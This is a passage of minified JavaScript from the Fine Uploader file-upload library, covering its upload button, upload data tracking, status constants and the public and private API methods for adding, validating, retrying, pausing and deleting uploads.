qq.DisposeSupport,a={acceptFiles:null,element:null,focusClass:"qq-upload-button-focus",folders:!1,hoverClass:"qq-upload-button-hover",ios8BrowserCrashWorkaround:!1,multiple:!1,name:"qqfile",onChange:function(e){},title:null};qq.extend(a,e),i=qq.getUniqueId(),qq(a.element).css({position:"relative",overflow:"hidden",direction:"ltr"}),qq.extend(this,{getInput:function(){return n},getButtonId:function(){return i},setMultiple:function(e,t){var n=t||this.getInput();a.ios8BrowserCrashWorkaround&&qq.ios8()&&(qq.iosChrome()||qq.iosSafariWebView())?n.setAttribute("multiple",""):e?n.setAttribute("multiple",""):n.removeAttribute("multiple")},setAcceptFiles:function(e){e!==a.acceptFiles&&n.setAttribute("accept",e)},reset:function(){n.parentNode&&qq(n).remove(),qq(a.element).removeClass(a.focusClass),n=null,n=t()}}),n=t()},qq.UploadButton.BUTTON_ID_ATTR_NAME="qq-button-id",qq.UploadData=function(e){"use strict";function t(e){if(qq.isArray(e)){var t=[];return qq.each(e,function(e,n){t.push(o[n])}),t}return o[e]}function n(e){if(qq.isArray(e)){var t=[];return qq.each(e,function(e,n){t.push(o[r[n]])}),t}return o[r[e]]}function i(e){var t=[],n=[].concat(e);return qq.each(n,function(e,n){var i=a[n];void 0!==i&&qq.each(i,function(e,n){t.push(o[n])})}),t}var o=[],r={},a={},s={},l={};qq.extend(this,{addFile:function(t){var n=t.status||qq.status.SUBMITTING,i=o.push({name:t.name,originalName:t.name,uuid:t.uuid,size:null==t.size?-1:t.size,status:n})-1;return t.batchId&&(o[i].batchId=t.batchId,void 0===l[t.batchId]&&(l[t.batchId]=[]),l[t.batchId].push(i)),t.proxyGroupId&&(o[i].proxyGroupId=t.proxyGroupId,void 0===s[t.proxyGroupId]&&(s[t.proxyGroupId]=[]),s[t.proxyGroupId].push(i)),o[i].id=i,r[t.uuid]=i,void 0===a[n]&&(a[n]=[]),a[n].push(i),e.onStatusChange(i,null,n),i},retrieve:function(e){return qq.isObject(e)&&o.length?void 0!==e.id?t(e.id):void 0!==e.uuid?n(e.uuid):e.status?i(e.status):void 0:qq.extend([],o,!0)},reset:function(){o=[],r={},a={},l={}},setStatus:function(t,n){var i=o[t].status,r=qq.indexOf(a[i],t);a[i].splice(r,1),o[t].status=n,void 0===a[n]&&(a[n]=[]),a[n].push(t),e.onStatusChange(t,i,n)},uuidChanged:function(e,t){var n=o[e].uuid;o[e].uuid=t,r[t]=e,delete r[n]},updateName:function(e,t){o[e].name=t},updateSize:function(e,t){o[e].size=t},setParentId:function(e,t){o[e].parentId=t},getIdsInProxyGroup:function(e){var t=o[e].proxyGroupId;return t?s[t]:[]},getIdsInBatch:function(e){var t=o[e].batchId;return l[t]}})},qq.status={SUBMITTING:"submitting",SUBMITTED:"submitted",REJECTED:"rejected",QUEUED:"queued",CANCELED:"canceled",PAUSED:"paused",UPLOADING:"uploading",UPLOAD_RETRYING:"retrying upload",UPLOAD_SUCCESSFUL:"upload successful",UPLOAD_FAILED:"upload failed",DELETE_FAILED:"delete failed",DELETING:"deleting",DELETED:"deleted"},function(){"use strict";qq.basePublicApi={addBlobs:function(e,t,n){this.addFiles(e,t,n)},addInitialFiles:function(e){var t=this;qq.each(e,function(e,n){t._addCannedFile(n)})},addFiles:function(e,t,n){this._maybeHandleIos8SafariWorkaround();var i=0===this._storedIds.length?qq.getUniqueId():this._currentBatchId,o=qq.bind(function(e){this._handleNewFile({blob:e,name:this._options.blobs.defaultName},i,d)},this),r=qq.bind(function(e){this._handleNewFile(e,i,d)},this),a=qq.bind(function(e){var t=qq.canvasToBlob(e);this._handleNewFile({blob:t,name:this._options.blobs.defaultName+".png"},i,d)},this),s=qq.bind(function(e){var t=e.quality&&e.quality/100,n=qq.canvasToBlob(e.canvas,e.type,t);this._handleNewFile({blob:n,name:e.name},i,d)},this),l=qq.bind(function(e){if(qq.isInput(e)&&qq.supportedFeatures.ajaxUploading){var t=Array.prototype.slice.call(e.files),n=this;qq.each(t,function(e,t){n._handleNewFile(t,i,d)})}else this._handleNewFile(e,i,d)},this),u=function(){qq.isFileList(e)&&(e=Array.prototype.slice.call(e)),e=[].concat(e)},c=this,d=[];this._currentBatchId=i,e&&(u(),qq.each(e,function(e,t){qq.isFileOrInput(t)?l(t):qq.isBlob(t)?o(t):qq.isObject(t)?t.blob&&t.name?r(t):t.canvas&&t.name&&s(t):t.tagName&&"canvas"===t.tagName.toLowerCase()?a(t):c.log(t+" is not a valid file container!  Ignoring!","warn")}),this.log("Received "+d.length+" files."),this._prepareItemsForUpload(d,t,n))},cancel:function(e){this._handler.cancel(e)},cancelAll:function(){var e=[],t=this;qq.extend(e,this._storedIds),qq.each(e,function(e,n){t.cancel(n)}),this._handler.cancelAll()},clearStoredFiles:function(){this._storedIds=[]},continueUpload:function(e){var t=this._uploadData.retrieve({id:e});return!(!qq.supportedFeatures.pause||!this._options.chunking.enabled)&&(t.status===qq.status.PAUSED?(this.log(qq.format("Paused file ID {} ({}) will be continued.  Not paused.",e,this.getName(e))),this._uploadFile(e),!0):(this.log(qq.format("Ignoring continue for file ID {} ({}).  Not paused.",e,this.getName(e)),"error"),!1))},deleteFile:function(e){return this._onSubmitDelete(e)},doesExist:function(e){return this._handler.isValid(e)},drawThumbnail:function(e,t,n,i,o){var r,a,s=new qq.Promise;return this._imageGenerator?(r=this._thumbnailUrls[e],a={customResizeFunction:o,maxSize:n>0?n:null,scale:n>0},!i&&qq.supportedFeatures.imagePreviews&&(r=this.getFile(e)),null==r?s.failure({container:t,error:"File or URL not found."}):this._imageGenerator.generate(r,t,a).then(function(e){s.success(e)},function(e,t){s.failure({container:e,error:t||"Problem generating thumbnail"})})):s.failure({container:t,error:"Missing image generator module"}),s},getButton:function(e){return this._getButton(this._buttonIdsForFileIds[e])},getEndpoint:function(e){return this._endpointStore.get(e)},getFile:function(e){return this._handler.getFile(e)||null},getInProgress:function(){return this._uploadData.retrieve({status:[qq.status.UPLOADING,qq.status.UPLOAD_RETRYING,qq.status.QUEUED]}).length},getName:function(e){return this._uploadData.retrieve({id:e}).name},getParentId:function(e){var t=this.getUploads({id:e}),n=null;return t&&void 0!==t.parentId&&(n=t.parentId),n},getResumableFilesData:function(){return this._handler.getResumableFilesData()},getSize:function(e){return this._uploadData.retrieve({id:e}).size},getNetUploads:function(){return this._netUploaded},getRemainingAllowedItems:function(){var e=this._currentItemLimit;return e>0?e-this._netUploadedOrQueued:null},getUploads:function(e){return this._uploadData.retrieve(e)},getUuid:function(e){return this._uploadData.retrieve({id:e}).uuid},log:function(e,t){!this._options.debug||t&&"info"!==t?t&&"info"!==t&&qq.log("[Fine Uploader "+qq.version+"] "+e,t):qq.log("[Fine Uploader "+qq.version+"] "+e)},pauseUpload:function(e){var t=this._uploadData.retrieve({id:e});if(!qq.supportedFeatures.pause||!this._options.chunking.enabled)return!1;if(qq.indexOf([qq.status.UPLOADING,qq.status.UPLOAD_RETRYING],t.status)>=0){if(this._handler.pause(e))return this._uploadData.setStatus(e,qq.status.PAUSED),!0;this.log(qq.format("Unable to pause file ID {} ({}).",e,this.getName(e)),"error")}else this.log(qq.format("Ignoring pause for file ID {} ({}).  Not in progress.",e,this.getName(e)),"error");return!1},reset:function(){this.log("Resetting uploader..."),this._handler.reset(),this._storedIds=[],this._autoRetries=[],this._retryTimeouts=[],this._preventRetries=[],this._thumbnailUrls=[],qq.each(this._buttons,function(e,t){t.reset()}),this._paramsStore.reset(),this._endpointStore.reset(),this._netUploadedOrQueued=0,this._netUploaded=0,this._uploadData.reset(),this._buttonIdsForFileIds=[],this._pasteHandler&&this._pasteHandler.reset(),this._options.session.refreshOnReset&&this._refreshSessionData(),this._succeededSinceLastAllComplete=[],this._failedSinceLastAllComplete=[],this._totalProgress&&this._totalProgress.reset()},retry:function(e){return this._manualRetry(e)},scaleImage:function(e,t){var n=this;return qq.Scaler.prototype.scaleImage(e,t,{log:qq.bind(n.log,n),getFile:qq.bind(n.getFile,n),uploadData:n._uploadData})},setCustomHeaders:function(e,t){this._customHeadersStore.set(e,t)},setDeleteFileCustomHeaders:function(e,t){this._deleteFileCustomHeadersStore.set(e,t)},setDeleteFileEndpoint:function(e,t){this._deleteFileEndpointStore.set(e,t)},setDeleteFileParams:function(e,t){this._deleteFileParamsStore.set(e,t)},setEndpoint:function(e,t){this._endpointStore.set(e,t)},setForm:function(e){this._updateFormSupportAndParams(e)},setItemLimit:function(e){this._currentItemLimit=e},setName:function(e,t){this._uploadData.updateName(e,t)},setParams:function(e,t){this._paramsStore.set(e,t)},setUuid:function(e,t){return this._uploadData.uuidChanged(e,t)},uploadStoredFiles:function(){0===this._storedIds.length?this._itemError("noFilesError"):this._uploadStoredFiles()}},qq.basePrivateApi={_addCannedFile:function(e){var t=this._uploadData.addFile({uuid:e.uuid,name:e.name,size:e.size,status:qq.status.UPLOAD_SUCCESSFUL});return e.deleteFileEndpoint&&this.setDeleteFileEndpoint(e.deleteFileEndpoint,t),e.deleteFileParams&&this.setDeleteFileParams(e.deleteFileParams,t),e.thumbnailUrl&&(this._thumbnailUrls[t]=e.thumbnailUrl),this._netUploaded++,this._netUploadedOrQueued++,t},_annotateWithButtonId:function(e,t){qq.isFile(e)&&(e.qqButtonId=this._getButtonId(t))},_batchError:function(e){this._options.callbacks.onError(null,null,e,void 0)},_createDeleteHandler:function(){var e=this;return new qq.DeleteFileAjaxRequester({method:this._options.deleteFile.method.toUpperCase(),maxConnections:this._options.maxConnections,uuidParamName:this._options.request.uuidName,customHeaders:this._deleteFileCustomHeadersStore,paramsStore:this._deleteFileParamsStore,endpointStore:this._deleteFileEndpointStore,cors:this._options.cors,log:qq.bind(e.log,e),onDelete:function(t){e._onDelete(t),e._options.callbacks.onDelete(t)},onDeleteComplete:function(t,n,i){e._onDeleteComplete(t,n,i),e._options.callbacks.onDeleteComplete(t,n,i)}})},_createPasteHandler:function(){var e=this;return new qq.PasteSupport({targetElement:this._options.paste.targetElement,callbacks:{log:qq.bind(e.log,e),pasteReceived:function(t){e._handleCheckedCallback({name:"onPasteReceived",callback:qq.bind(e._options.callbacks.onPasteReceived,e,t),onSuccess:qq.bind(e._handlePasteSuccess,e,t),identifier:"pasted image"})}}})},_createStore:function(e,t){var n={},i=e,o={},r=t,a=function(e){return qq.isObject(e)?qq.extend({},e):e},s=function(){return qq.isFunction(r)?r():r},l=function(e,t){r&&qq.isObject(t)&&qq.extend(t,s()),o[e]&&qq.extend(t,o[e])};return{set:function(e,t){null==t?(n={},i=a(e)):n[t]=a(e)},get:function(e){var t;return t=null!=e&&n[e]?n[e]:a(i),l(e,t),a(t)},addReadOnly:function(e,t){qq.isObject(n)&&(null===e?qq.isFunction(t)?r=t:(r=r||{},qq.extend(r,t)):(o[e]=o[e]||{},qq.extend(o[e],t)))},remove:function(e){return delete n[e]},reset:function(){n={},o={},i=e}}},_createUploadDataTracker:function(){var e=this;return new qq.UploadData({getName:function(t){return e.getName(t)},getUuid:function(t){return e.getUuid(t)},getSize:function(t){return e.getSize(t)},onStatusChange:function(t,n,i){e._onUploadStatusChange(t,n,i),e._options.callbacks.onStatusChange(t,n,i),e._maybeAllComplete(t,i),e._totalProgress&&setTimeout(function(){e._totalProgress.onStatusChange(t,n,i)},0)}})},_createUploadButton:function(e){function t(){return!!qq.supportedFeatures.ajaxUploading&&(!(i._options.workarounds.iosEmptyVideos&&qq.ios()&&!qq.ios6()&&i._isAllowedExtension(r,".mov"))&&(void 0===e.multiple?i._options.multiple:e.multiple))}var n,i=this,o=e.accept||this._options.validation.acceptFiles,r=e.allowedExtensions||this._options.validation.allowedExtensions;return n=new qq.UploadButton({acceptFiles:o,element:e.element,focusClass:this._options.classes.buttonFocus,folders:e.folders,hoverClass:this._options.classes.buttonHover,ios8BrowserCrashWorkaround:this._options.workarounds.ios8BrowserCrash,multiple:t(),name:this._options.request.inputName,onChange:function(e){i._onInputChange(e)},title:null==e.title?this._options.text.fileInputTitle:e.title}),this._disposeSupport.addDisposer(function(){n.dispose()}),i._buttons.push(n),n},_createUploadHandler:function(e,t){var n=this,i={},o={debug:this._options.debug,maxConnections:this._options.maxConnections,cors:this._options.cors,paramsStore:this._paramsStore,endpointStore:this._endpointStore,chunking:this._options.chunking,resume:this._options.resume,blobs:this._options.blobs,log:qq.bind(n.log,n),preventRetryParam:this._options.retry.preventRetryResponseProperty,onProgress:function(e,t,o,r){o<0||r<0||(i[e]?i[e].loaded===o&&i[e].total===r||(n._onProgress(e,t,o,r),n._options.callbacks.onProgress(e,t,o,r)):(n._onProgress(e,t,o,r),n._options.callbacks.onProgress(e,t,o,r)),i[e]={loaded:o,total:r})},onComplete:function(e,t,o,r){delete i[e];var a,s=n.getUploads({id:e}).status;s!==qq.status.UPLOAD_SUCCESSFUL&&s!==qq.status.UPLOAD_FAILED&&(a=n._onComplete(e,t,o,r),a instanceof qq.Promise?a.done(function(){n._options.callbacks.onComplete(e,t,o,r)}):n._options.callbacks.onComplete(e,t,o,r))},onCancel:function(e,t,i){var o=new qq.Promise;return n._handleCheckedCallback({name:"onCancel",callback:qq.bind(n._options.callbacks.onCancel,n,e,t),onFailure:o.failure,onSuccess:function(){i.then(function(){n._onCancel(e,t)}),o.success()},identifier:e}),o},onUploadPrep:qq.bind(this._onUploadPrep,this),onUpload:function(e,t){n._onUpload(e,t),n._options.callbacks.onUpload(e,t)},onUploadChunk:function(e,t,i){n._onUploadChunk(e,i),n._options.callbacks.onUploadChunk(e,t,i)},onUploadChunkSuccess:function(e,t,i,o){n._options.callbacks.onUploadChunkSuccess.apply(n,arguments)},onResume:function(e,t,i){return n._options.callbacks.onResume(e,t,i)},onAutoRetry:function(e,t,i,o){return n._onAutoRetry.apply(n,arguments)},onUuidChanged:function(e,t){n.log("Server requested UUID change from '"+n.getUuid(e)+"' to '"+t+"'"),n.setUuid(e,t)},getName:qq.bind(n.getName,n),getUuid:qq.bind(n.getUuid,n),getSize:qq.bind(n.getSize,n),setSize:qq.bind(n._setSize,n),getDataByUuid:function(e){return n.getUploads({uuid:e})},isQueued:function(e){var t=n.getUploads({id:e}).status;return t===qq.status.QUEUED||t===qq.status.SUBMITTED||t===qq.status.UPLOAD_RETRYING||t===qq.status.PAUSED},getIdsInProxyGroup:n._uploadData.getIdsInProxyGroup,getIdsInBatch:n._uploadData.getIdsInBatch};return qq.each(this._options.request,function(e,t){o[e]=t}),o.customHeaders=this._customHeadersStore,e&&qq.each(e,function(e,t){o[e]=t}),new qq.UploadHandlerController(o,t)},_fileOrBlobRejected:function(e){this._netUploadedOrQueued--,this._uploadData.setStatus(e,qq.status.REJECTED)},_formatSize:function(e){var t=-1;do e/=1e3,t++;while(e>999);return Math.max(e,.1).toFixed(1)+this._options.text.sizeSymbols[t]},_generateExtraButtonSpecs:function(){var e=this;this._extraButtonSpecs={},qq.each(this._options.extraButtons,function(t,n){var i=n.multiple,o=qq.extend({},e._options.validation,!0),r=qq.extend({},n);void 0===i&&(i=e._options.multiple),r.validation&&qq.extend(o,n.validation,!0),qq.extend(r,{multiple:i,validation:o},!0),e._initExtraButton(r)})},_getButton:function(e){var t=this._extraButtonSpecs[e];return t?t.element:e===this._defaultButtonId?this._options.button:void 0},_getButtonId:function(e){var t,n,i=e;if(i instanceof qq.BlobProxy&&(i=i.referenceBlob),i&&!qq.isBlob(i)){if(qq.isFile(i))return i.qqButtonId;if("input"===i.tagName.toLowerCase()&&"file"===i.type.toLowerCase())return i.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);if(t=i.getElementsByTagName("input"),qq.each(t,function(e,t){if("file"===t.getAttribute("type"))return n=t,!1}),n)return n.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME)}},_getNotFinished:function(){return this._uploadData.retrieve({status:[qq.status.UPLOADING,qq.status.UPLOAD_RETRYING,qq.status.QUEUED,qq.status.SUBMITTING,qq.status.SUBMITTED,qq.status.PAUSED]}).length},_getValidationBase:function(e){var t=this._extraButtonSpecs[e];return t?t.validation:this._options.validation;
},_getValidationDescriptor:function(e){return e.file instanceof qq.BlobProxy?{name:qq.getFilename(e.file.referenceBlob),size:e.file.referenceBlob.size}:{name:this.getUploads({id:e.id}).name,size:this.getUploads({id:e.id}).size}},_getValidationDescriptors:function(e){var t=this,n=[];return qq.each(e,function(e,i){n.push(t._getValidationDescriptor(i))}),n},_handleCameraAccess:function(){if(this._options.camera.ios&&qq.ios()){var e="image/*;capture=camera",t=this._options.camera.button,n=t?this._getButtonId(t):this._defaultButtonId,i=this._options;n&&n!==this._defaultButtonId&&(i=this._extraButtonSpecs[n]),i.multiple=!1,null===i.validation.acceptFiles?i.validation.acceptFiles=e:i.validation.acceptFiles+=","+e,qq.each(this._buttons,function(e,t){if(t.getButtonId()===n)return t.setMultiple(i.multiple),t.setAcceptFiles(i.acceptFiles),!1})}},_handleCheckedCallback:function(e){var t=this,n=e.callback();return qq.isGenericPromise(n)?(this.log(e.name+" - waiting for "+e.name+" promise to be fulfilled for "+e.identifier),n.then(function(n){t.log(e.name+" promise success for "+e.identifier),e.onSuccess(n)},function(){e.onFailure?(t.log(e.name+" promise failure for "+e.identifier),e.onFailure()):t.log(e.name+" promise failure for "+e.identifier)})):(n!==!1?e.onSuccess(n):e.onFailure?(this.log(e.name+" - return value was 'false' for "+e.identifier+".  Invoking failure callback."),e.onFailure()):this.log(e.name+" - return value was 'false' for "+e.identifier+".  Will not proceed."),n)},_handleNewFile:function(e,t,n){var i=this,o=qq.getUniqueId(),r=-1,a=qq.getFilename(e),s=e.blob||e,l=this._customNewFileHandler?this._customNewFileHandler:qq.bind(i._handleNewFileGeneric,i);!qq.isInput(s)&&s.size>=0&&(r=s.size),l(s,a,o,r,n,t,this._options.request.uuidName,{uploadData:i._uploadData,paramsStore:i._paramsStore,addFileToHandler:function(e,t){i._handler.add(e,t),i._netUploadedOrQueued++,i._trackButton(e)}})},_handleNewFileGeneric:function(e,t,n,i,o,r){var a=this._uploadData.addFile({uuid:n,name:t,size:i,batchId:r});this._handler.add(a,e),this._trackButton(a),this._netUploadedOrQueued++,o.push({id:a,file:e})},_handlePasteSuccess:function(e,t){var n=e.type.split("/")[1],i=t;null==i&&(i=this._options.paste.defaultName),i+="."+n,this.addFiles({name:i,blob:e})},_initExtraButton:function(e){var t=this._createUploadButton({accept:e.validation.acceptFiles,allowedExtensions:e.validation.allowedExtensions,element:e.element,folders:e.folders,multiple:e.multiple,title:e.fileInputTitle});this._extraButtonSpecs[t.getButtonId()]=e},_initFormSupportAndParams:function(){this._formSupport=qq.FormSupport&&new qq.FormSupport(this._options.form,qq.bind(this.uploadStoredFiles,this),qq.bind(this.log,this)),this._formSupport&&this._formSupport.attachedToForm?(this._paramsStore=this._createStore(this._options.request.params,this._formSupport.getFormInputsAsObject),this._options.autoUpload=this._formSupport.newAutoUpload,this._formSupport.newEndpoint&&(this._options.request.endpoint=this._formSupport.newEndpoint)):this._paramsStore=this._createStore(this._options.request.params)},_isDeletePossible:function(){return!(!qq.DeleteFileAjaxRequester||!this._options.deleteFile.enabled)&&(!this._options.cors.expected||(!!qq.supportedFeatures.deleteFileCorsXhr||!(!qq.supportedFeatures.deleteFileCorsXdr||!this._options.cors.allowXdr)))},_isAllowedExtension:function(e,t){var n=!1;return!e.length||(qq.each(e,function(e,i){if(qq.isString(i)){var o=new RegExp("\\."+i+"$","i");if(null!=t.match(o))return n=!0,!1}}),n)},_itemError:function(e,t,n){function i(e,t){a=a.replace(e,t)}var o,r,a=this._options.messages[e],s=[],l=[].concat(t),u=l[0],c=this._getButtonId(n),d=this._getValidationBase(c);return qq.each(d.allowedExtensions,function(e,t){qq.isString(t)&&s.push(t)}),o=s.join(", ").toLowerCase(),i("{file}",this._options.formatFileName(u)),i("{extensions}",o),i("{sizeLimit}",this._formatSize(d.sizeLimit)),i("{minSizeLimit}",this._formatSize(d.minSizeLimit)),r=a.match(/(\{\w+\})/g),null!==r&&qq.each(r,function(e,t){i(t,l[e])}),this._options.callbacks.onError(null,u,a,void 0),a},_manualRetry:function(e,t){if(this._onBeforeManualRetry(e))return this._netUploadedOrQueued++,this._uploadData.setStatus(e,qq.status.UPLOAD_RETRYING),t?t(e):this._handler.retry(e),!0},_maybeAllComplete:function(e,t){var n=this,i=this._getNotFinished();t===qq.status.UPLOAD_SUCCESSFUL?this._succeededSinceLastAllComplete.push(e):t===qq.status.UPLOAD_FAILED&&this._failedSinceLastAllComplete.push(e),0===i&&(this._succeededSinceLastAllComplete.length||this._failedSinceLastAllComplete.length)&&setTimeout(function(){n._onAllComplete(n._succeededSinceLastAllComplete,n._failedSinceLastAllComplete)},0)},_maybeHandleIos8SafariWorkaround:function(){var e=this;if(this._options.workarounds.ios8SafariUploads&&qq.ios800()&&qq.iosSafari())throw setTimeout(function(){window.alert(e._options.messages.unsupportedBrowserIos8Safari)},0),new qq.Error(this._options.messages.unsupportedBrowserIos8Safari)},_maybeParseAndSendUploadError:function(e,t,n,i){if(!n.success)if(i&&200!==i.status&&!n.error)this._options.callbacks.onError(e,t,"XHR returned response code "+i.status,i);else{var o=n.error?n.error:this._options.text.defaultResponseError;this._options.callbacks.onError(e,t,o,i)}},_maybeProcessNextItemAfterOnValidateCallback:function(e,t,n,i,o){var r=this;if(t.length>n)if(e||!this._options.validation.stopOnFirstInvalidFile)setTimeout(function(){var e=r._getValidationDescriptor(t[n]),a=r._getButtonId(t[n].file),s=r._getButton(a);r._handleCheckedCallback({name:"onValidate",callback:qq.bind(r._options.callbacks.onValidate,r,e,s),onSuccess:qq.bind(r._onValidateCallbackSuccess,r,t,n,i,o),onFailure:qq.bind(r._onValidateCallbackFailure,r,t,n,i,o),identifier:"Item '"+e.name+"', size: "+e.size})},0);else if(!e)for(;n<t.length;n++)r._fileOrBlobRejected(t[n].id)},_onAllComplete:function(e,t){this._totalProgress&&this._totalProgress.onAllComplete(e,t,this._preventRetries),this._options.callbacks.onAllComplete(qq.extend([],e),qq.extend([],t)),this._succeededSinceLastAllComplete=[],this._failedSinceLastAllComplete=[]},_onAutoRetry:function(e,t,n,i,o){var r=this;if(r._preventRetries[e]=n[r._options.retry.preventRetryResponseProperty],r._shouldAutoRetry(e,t,n))return r._maybeParseAndSendUploadError.apply(r,arguments),r._options.callbacks.onAutoRetry(e,t,r._autoRetries[e]),r._onBeforeAutoRetry(e,t),r._retryTimeouts[e]=setTimeout(function(){r.log("Retrying "+t+"..."),r._uploadData.setStatus(e,qq.status.UPLOAD_RETRYING),o?o(e):r._handler.retry(e)},1e3*r._options.retry.autoAttemptDelay),!0},_onBeforeAutoRetry:function(e,t){this.log("Waiting "+this._options.retry.autoAttemptDelay+" seconds before retrying "+t+"...")},_onBeforeManualRetry:function(e){var t,n=this._currentItemLimit;return this._preventRetries[e]?(this.log("Retries are forbidden for id "+e,"warn"),!1):this._handler.isValid(e)?(t=this.getName(e),this._options.callbacks.onManualRetry(e,t)!==!1&&(n>0&&this._netUploadedOrQueued+1>n?(this._itemError("retryFailTooManyItems"),!1):(this.log("Retrying upload for '"+t+"' (id: "+e+")..."),!0))):(this.log("'"+e+"' is not a valid file ID","error"),!1)},_onCancel:function(e,t){this._netUploadedOrQueued--,clearTimeout(this._retryTimeouts[e]);var n=qq.indexOf(this._storedIds,e);!this._options.autoUpload&&n>=0&&this._storedIds.splice(n,1),this._uploadData.setStatus(e,qq.status.CANCELED)},_onComplete:function(e,t,n,i){return n.success?(n.thumbnailUrl&&(this._thumbnailUrls[e]=n.thumbnailUrl),this._netUploaded++,this._uploadData.setStatus(e,qq.status.UPLOAD_SUCCESSFUL)):(this._netUploadedOrQueued--,this._uploadData.setStatus(e,qq.status.UPLOAD_FAILED),n[this._options.retry.preventRetryResponseProperty]===!0&&(this._preventRetries[e]=!0)),this._maybeParseAndSendUploadError(e,t,n,i),!!n.success},_onDelete:function(e){this._uploadData.setStatus(e,qq.status.DELETING)},_onDeleteComplete:function(e,t,n){var i=this.getName(e);n?(this._uploadData.setStatus(e,qq.status.DELETE_FAILED),this.log("Delete request for '"+i+"' has failed.","error"),void 0===t.withCredentials?this._options.callbacks.onError(e,i,"Delete request failed",t):this._options.callbacks.onError(e,i,"Delete request failed with response code "+t.status,t)):(this._netUploadedOrQueued--,this._netUploaded--,this._handler.expunge(e),this._uploadData.setStatus(e,qq.status.DELETED),this.log("Delete request for '"+i+"' has succeeded."))},_onInputChange:function(e){var t;if(qq.supportedFeatures.ajaxUploading){for(t=0;t<e.files.length;t++)this._annotateWithButtonId(e.files[t],e);this.addFiles(e.files)}else e.value.length>0&&this.addFiles(e);qq.each(this._buttons,function(e,t){t.reset()})},_onProgress:function(e,t,n,i){this._totalProgress&&this._totalProgress.onIndividualProgress(e,n,i)},_onSubmit:function(e,t){},_onSubmitCallbackSuccess:function(e,t){this._onSubmit.apply(this,arguments),this._uploadData.setStatus(e,qq.status.SUBMITTED),this._onSubmitted.apply(this,arguments),this._options.autoUpload?(this._options.callbacks.onSubmitted.apply(this,arguments),this._uploadFile(e)):(this._storeForLater(e),this._options.callbacks.onSubmitted.apply(this,arguments))},_onSubmitDelete:function(e,t,n){var i,o=this.getUuid(e);return t&&(i=qq.bind(t,this,e,o,n)),this._isDeletePossible()?(this._handleCheckedCallback({name:"onSubmitDelete",callback:qq.bind(this._options.callbacks.onSubmitDelete,this,e),onSuccess:i||qq.bind(this._deleteHandler.sendDelete,this,e,o,n),identifier:e}),!0):(this.log("Delete request ignored for ID "+e+", delete feature is disabled or request not possible due to CORS on a user agent that does not support pre-flighting.","warn"),!1)},_onSubmitted:function(e){},_onTotalProgress:function(e,t){this._options.callbacks.onTotalProgress(e,t)},_onUploadPrep:function(e){},_onUpload:function(e,t){this._uploadData.setStatus(e,qq.status.UPLOADING)},_onUploadChunk:function(e,t){},_onUploadStatusChange:function(e,t,n){n===qq.status.PAUSED&&clearTimeout(this._retryTimeouts[e])},_onValidateBatchCallbackFailure:function(e){var t=this;qq.each(e,function(e,n){t._fileOrBlobRejected(n.id)})},_onValidateBatchCallbackSuccess:function(e,t,n,i,o){var r,a=this._currentItemLimit,s=this._netUploadedOrQueued;0===a||s<=a?t.length>0?this._handleCheckedCallback({name:"onValidate",callback:qq.bind(this._options.callbacks.onValidate,this,e[0],o),onSuccess:qq.bind(this._onValidateCallbackSuccess,this,t,0,n,i),onFailure:qq.bind(this._onValidateCallbackFailure,this,t,0,n,i),identifier:"Item '"+t[0].file.name+"', size: "+t[0].file.size}):this._itemError("noFilesError"):(this._onValidateBatchCallbackFailure(t),r=this._options.messages.tooManyItemsError.replace(/\{netItems\}/g,s).replace(/\{itemLimit\}/g,a),this._batchError(r))},_onValidateCallbackFailure:function(e,t,n,i){var o=t+1;this._fileOrBlobRejected(e[t].id,e[t].file.name),this._maybeProcessNextItemAfterOnValidateCallback(!1,e,o,n,i)},_onValidateCallbackSuccess:function(e,t,n,i){var o=this,r=t+1,a=this._getValidationDescriptor(e[t]);this._validateFileOrBlobData(e[t],a).then(function(){o._upload(e[t].id,n,i),o._maybeProcessNextItemAfterOnValidateCallback(!0,e,r,n,i)},function(){o._maybeProcessNextItemAfterOnValidateCallback(!1,e,r,n,i)})},_prepareItemsForUpload:function(e,t,n){if(0===e.length)return void this._itemError("noFilesError");var i=this._getValidationDescriptors(e),o=this._getButtonId(e[0].file),r=this._getButton(o);this._handleCheckedCallback({name:"onValidateBatch",callback:qq.bind(this._options.callbacks.onValidateBatch,this,i,r),onSuccess:qq.bind(this._onValidateBatchCallbackSuccess,this,i,e,t,n,r),onFailure:qq.bind(this._onValidateBatchCallbackFailure,this,e),identifier:"batch validation"})},_preventLeaveInProgress:function(){var e=this;this._disposeSupport.attach(window,"beforeunload",function(t){if(e.getInProgress())return t=t||window.event,t.returnValue=e._options.messages.onLeave,e._options.messages.onLeave})},_refreshSessionData:function(){var e=this,t=this._options.session;qq.Session&&null!=this._options.session.endpoint&&(this._session||(qq.extend(t,{cors:this._options.cors}),t.log=qq.bind(this.log,this),t.addFileRecord=qq.bind(this._addCannedFile,this),this._session=new qq.Session(t)),setTimeout(function(){e._session.refresh().then(function(t,n){e._sessionRequestComplete(),e._options.callbacks.onSessionRequestComplete(t,!0,n)},function(t,n){e._options.callbacks.onSessionRequestComplete(t,!1,n)})},0))},_sessionRequestComplete:function(){},_setSize:function(e,t){this._uploadData.updateSize(e,t),this._totalProgress&&this._totalProgress.onNewSize(e)},_shouldAutoRetry:function(e,t,n){var i=this._uploadData.retrieve({id:e});return!!(!this._preventRetries[e]&&this._options.retry.enableAuto&&i.status!==qq.status.PAUSED&&(void 0===this._autoRetries[e]&&(this._autoRetries[e]=0),this._autoRetries[e]<this._options.retry.maxAutoAttempts))&&(this._autoRetries[e]+=1,!0)},_storeForLater:function(e){this._storedIds.push(e)},_trackButton:function(e){var t;t=qq.supportedFeatures.ajaxUploading?this._handler.getFile(e).qqButtonId:this._getButtonId(this._handler.getInput(e)),t&&(this._buttonIdsForFileIds[e]=t)},_updateFormSupportAndParams:function(e){this._options.form.element=e,this._formSupport=qq.FormSupport&&new qq.FormSupport(this._options.form,qq.bind(this.uploadStoredFiles,this),qq.bind(this.log,this)),this._formSupport&&this._formSupport.attachedToForm&&(this._paramsStore.addReadOnly(null,this._formSupport.getFormInputsAsObject),this._options.autoUpload=this._formSupport.newAutoUpload,this._formSupport.newEndpoint&&this.setEndpoint(this._formSupport.newEndpoint))},_upload:function(e,t,n){var 